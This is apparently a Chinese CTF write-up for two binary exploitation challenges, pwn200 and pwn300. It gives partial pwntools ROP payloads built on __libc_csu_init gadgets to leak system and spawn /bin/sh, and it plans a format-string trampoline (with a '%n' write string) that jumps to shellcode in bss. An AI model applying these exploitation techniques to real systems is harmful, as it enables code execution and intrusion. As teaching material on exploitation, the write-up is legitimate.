pwn200
漏洞给的很明显,先是读到了main的局部数组中,然后在子函数中向子函数的局部数组栈里复制。
总体思路是leak system的地址,然后再向一个固定地址写入/bin/sh,最后执行system函数
leak使用pwn库的DynELF实现,整体使用rop链。
1 //ida伪代码 2 int __fastcall echo(__int64 a1) 3 { 4 char s2[16]; // [sp+10h] [bp-10h]@2 5 6 for ( i = 0; *(_BYTE *)(i + a1); ++i ) 7 s2[i] = *(_BYTE *)(i + a1); 8 s2[i] = 0; 9 if ( !strcmp("ROIS", s2) ) 10 { 11 printf("RCTF{Welcome}", s2); 12 puts(" is not flag"); 13 } 14 return printf("%s", s2); 15 }
这里是把数据复制过来,但是他的判断条件是byte!='x00',就是说如果有'x00'就会停止复制。
这个就很蛋疼,因为肯定会有00啊。00这个是无法避免的。
先说一下,这道题是x64环境+nx保护。就是说可以用通用gadget来实现rop的。
如果不考虑那个截断的事情的话exp是这样的,
exp='A'*24
exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret
exp+=p64(0) #令pop rbx为0,使得call正确执行
exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果
exp+=p64(write@got) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。
exp+=p64(8) #pop r13 3号参数了
exp+=p64(leak adress)#pop r14 2号参数了
exp+=p64(1)#pop r15 1号参数了
exp+=p64(0x0400880)#这个就跳去执行call了
exp+='A' * 56 #这是共抬了56个字节的栈
exp+=p64(0x4007cd) #从头
开始了
上面那个就是正常的利用__libc_csu_init的通用跳板进行rop的方法。我们看一下这样行不行?明显不行会断在exp+=p64(0)这里。但是由于main栈里也有,就再构造一个pop4ret去读main的栈了。
这样就可以成功的不受'x00'限制了。不过我觉得这个应该是设计的比较好,因为如果距离不是32字节是96字节怎么办?不会有pop12ret吧?
接下来的任务就是构造rop链,实现写入/bin/sh和执行sysem了,这时假设我们已经leak出system的地址了。
exp='A'*24
exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret
exp+=p64(0) #令pop rbx为0,使得call正确执行
exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果
exp+=p64(system) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。
exp+=p64(8) #pop r13 3号参数了
exp+=p64(save adress)#pop r14 2号参数了
exp+=p64(1)#pop r15 1号参数了
exp+=p64(0x0400880)#这个就跳去执行call了
exp+='A' * 56 #这是共抬了56个字节的栈
exp+=p64(0x4007cd)# 可见套路都是一样的
注意要把leak 出来的system写到一个可知的地址才可以使用。
最后再来一遍
exp='A'*24
exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret
exp+=p64(0) #令pop rbx为0,使得call正确执行
exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果
exp+=p64(save adress) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。
exp+=p64(0) #pop r13 3号参数了
exp+=p64(0)#pop r14 2号参数了
exp+=p64(save adress+8)#pop r15 1号参数了
exp+=p64(0x0400880)#这个就跳去执行call了
exp+='A' * 56 #这是共抬了56个字节的栈
exp+=p64(0x4007cd)# 可见套路都是一样的
下面来实际的调试一下,用gdb加载程序,在0x400750处下断点,这是复制的指令,在这里可以看到复制在栈中的起点,不要相信IDA的栈结构那个是不准的,得自己调试来看。
由图可知要3*8=24byte。再来确定下main函数的buf的位置距离这里有多远。发现其实就在紧接着栈顶的地方。那么我们就要构造rop去生成一个leak函数了。首先找一下可以使用的rop指令
由图就可以看出来,其实能用的只有0x40089A这么一个地方。x64参数不是用栈传的而是用寄存器传的,那么就该用我们上面说的所谓的gadgets了。http://www.cnblogs.com/Ox9A82/p/5487725.html 这里写了如何使用,上面也描述了,我们直接上。
'A'*24+
p64(POP4RET)+ #为了跳过上面那24个A+这个本身
P64(gad1)+ #0x40089A
p64(0)+
p64(1)+
p64(puts)+
p64(0)+
p64(0)+
p64(address)+
p64(gad2)+ #0x400880
'A'*56+
p64(main)
pwn300
这是个格式化字符串的题。但是,不是常见的那种格式化字符串漏洞。首先,格式化字符串是存在堆里的,没有办法直接去读格式化串。其次,每次触发格式化函数都执行了一次,没有办法在栈里构造跳板。
但是也有优点,就是会往一个bss段里读入数据,如果是想构造/bin/sh还是很方便的。
由于不能读到格式化串,所以就无法实现任意地址写入。
这是执行到触发格式化字符串漏洞的函数时的完整栈帧情况。
可见,这时栈里没有什么搞头。如果可以连续执行两次漏洞函数,那么就可以利用0xbffff44c这个值在栈里构造跳板,但是这里只能执行一次栈帧就释放了,不可能构造跳板。
然后,我就不知道怎么做了= =
看了一波六星的writeup,他是这么写的
上图是复旦六星的writeup。
它的意思是还是要在栈上构造一个跳板。但是这需要在此函数中有两次调用漏洞函数的机会。
这是怎么回事呢?我先理一理,这个程序用push ret写法搞的很讨厌,因为F5后不能清晰的看到流程,搞的很乱。
理一下程序流程:
- 循环:获取输入(到.bss:0804A0A0 ; char s[2048])
- 循环:进行解码
- 循环:解密结果输出到bss段(.bss:0804A8A0 ; char byte_804A8A0[2048])
- 循环:进行解码
- 循环:触发漏洞函数
- 循环:输出bss段的结果
可见bss段适合放一些/bin/sh这类的乱七八糟的东西。
但是怎么劫持eip呢?这么一看还真是在栈中构造跳板,我之前说只调用一次栈帧就释放了。居然没想到利用main函数的栈帧。。。。
这就十分尴尬了。但是还有问题就是栈的位置怎么确定?leak是可以看到的栈的位置的但是感觉太麻烦。但是。。。。好像也只能leak了啊~
因为要写地址进去的,不获取栈的准确地址是不可能的。而且这不是缓冲区溢出那种漏洞可以构造rop链的,就是说既使我控制了eip也不能够实现控制参数,那索性就直接把shellcode写入bss段中了,(注意,这道题没有NX保护,故可以在bss段里执行shellcode)
直接蹦过去执行算了。
那么思路就是:
1.构造leak栈地址的格式化符,发送过去
2.在main函数的栈帧用接收的leak地址构造跳板
3.把shellcode做base64加密传进去,使shellcode存在于bss段中
4.最后构造使用跳板的格式化串,修改返回地址到bss段的shellcode中。
这样有一个问题就是shellcode会被盖住一部分,我想只要错开一个偏移应该就可以了吧。
最蛋疼的是六星居然没有放exp出来,网上也搜不到这道题的exp,为了验证自己的想法只好自己写了。
以下是详细的解题过程,首先看下call _snprintf时栈的情况,如下图所示。我们要做的就是先向红圈地址写入0xbffff0c8。作为跳板来改变返回地址。
那这里使用的就是"%134520872x%20$n",根据程序设定进行base64后是。
这里写一些welpwn的exp编写过程,首先考虑的是跳到主函数的栈祯中执行。在IDA中搜索pop指令,找到如下一处位置
.text:000000000040089A pop rbx
.text:000000000040089B pop rbp
.text:000000000040089C pop r12
.text:000000000040089E pop r13
.text:00000000004008A0 pop r14
.text:00000000004008A2 pop r15
.text:00000000004008A4 retn
对.text:00000000004007CC retn下断点,看下返回时堆栈距离main有多远。